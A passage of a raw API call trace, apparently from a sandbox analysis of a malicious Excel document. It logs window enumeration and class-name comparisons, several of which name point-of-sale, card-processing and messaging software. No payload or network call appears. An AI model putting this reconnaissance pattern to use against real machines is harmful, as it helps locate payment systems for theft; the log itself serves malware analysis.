0x45c [0125.433] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0125.433] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.433] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0125.434] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.434] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.434] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.434] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0125.434] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0125.435] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.435] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0125.435] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0125.435] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.435] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.436] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.436] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.436] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0125.436] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0125.436] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0125.436] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.437] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0125.437] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0125.567] GetCurrentThreadId () returned 0xbdc [0125.567] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0125.567] GetDesktopWindow () returned 0x10010 [0125.567] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.568] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.568] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.568] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0125.568] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0125.568] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0125.568] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.569] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.569] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.569] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.569] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.569] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.569] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.570] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.570] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.570] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.570] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.570] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.570] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.581] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.582] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.582] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0125.582] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0125.582] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0125.582] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.582] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0125.582] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0125.582] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0125.582] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.582] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0125.582] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0125.582] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0125.582] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.582] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0125.583] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0125.583] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0125.583] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.583] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0125.583] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0125.583] IsWindowEnabled (hWnd=0x20360) returned 1 [0125.583] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0125.583] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0125.583] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0125.583] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0125.583] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.583] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.583] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.583] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0125.583] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0125.583] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.583] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.583] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0125.584] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0125.584] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0125.584] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0125.584] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.584] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0125.584] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0125.584] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0125.584] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0125.584] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0125.584] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0125.584] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.584] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0125.584] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0125.584] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0125.584] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0125.584] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0125.584] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0125.584] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.584] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0125.584] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0125.584] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0125.584] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0125.584] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0125.584] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0125.584] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.584] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0125.584] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0125.584] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0125.584] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0125.584] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0125.584] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0125.585] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0125.585] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0125.585] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0125.585] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0125.585] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.585] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0125.585] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0125.585] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0125.585] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0125.585] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0125.585] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0125.585] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.585] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0125.585] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.585] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.585] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0125.585] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0125.585] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0125.585] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0125.585] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0125.585] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.585] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.586] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0125.586] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0125.586] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0125.586] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0125.586] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0125.586] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0125.586] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.586] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.587] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0125.587] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0125.587] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0125.587] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0125.587] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0125.587] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0125.587] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0125.587] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.587] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.587] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0125.587] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.588] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.588] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0125.588] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.588] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.588] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0125.588] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0125.588] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0125.588] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0125.588] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.588] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.589] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0125.589] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0125.589] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0125.589] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0125.589] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0125.589] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0125.589] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0125.589] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.589] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.590] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0125.590] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0125.590] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0125.590] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0125.590] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.590] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0125.590] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0125.590] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0125.590] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0125.590] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.591] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0125.591] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0125.591] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0125.591] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0125.591] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.591] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.591] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0125.591] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0125.591] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0125.592] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0125.592] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.592] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0125.592] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0125.592] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0125.592] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0125.592] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.592] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0125.592] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0125.592] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0125.593] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0125.593] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.593] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.593] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0125.593] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0125.593] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0125.593] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0125.593] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.593] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.594] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0125.594] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0125.594] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0125.594] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0125.594] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.594] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.594] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0125.594] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0125.594] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0125.595] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0125.595] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.595] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.595] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0125.595] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0125.595] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0125.595] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0125.595] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.595] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.595] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0125.596] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0125.596] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0125.596] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0125.596] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.596] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.596] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0125.596] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0125.596] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0125.596] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0125.596] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.597] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.597] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0125.597] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0125.597] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0125.597] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0125.597] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.597] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.597] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0125.597] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0125.597] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0125.598] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0125.598] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.598] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.598] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0125.598] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0125.598] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0125.598] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0125.598] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.598] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.599] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0125.599] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0125.599] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0125.599] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0125.599] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.599] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.599] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0125.599] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0125.599] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0125.600] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0125.600] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.600] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.600] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0125.600] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0125.600] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0125.600] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0125.600] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.600] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.601] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0125.601] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0125.601] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0125.601] 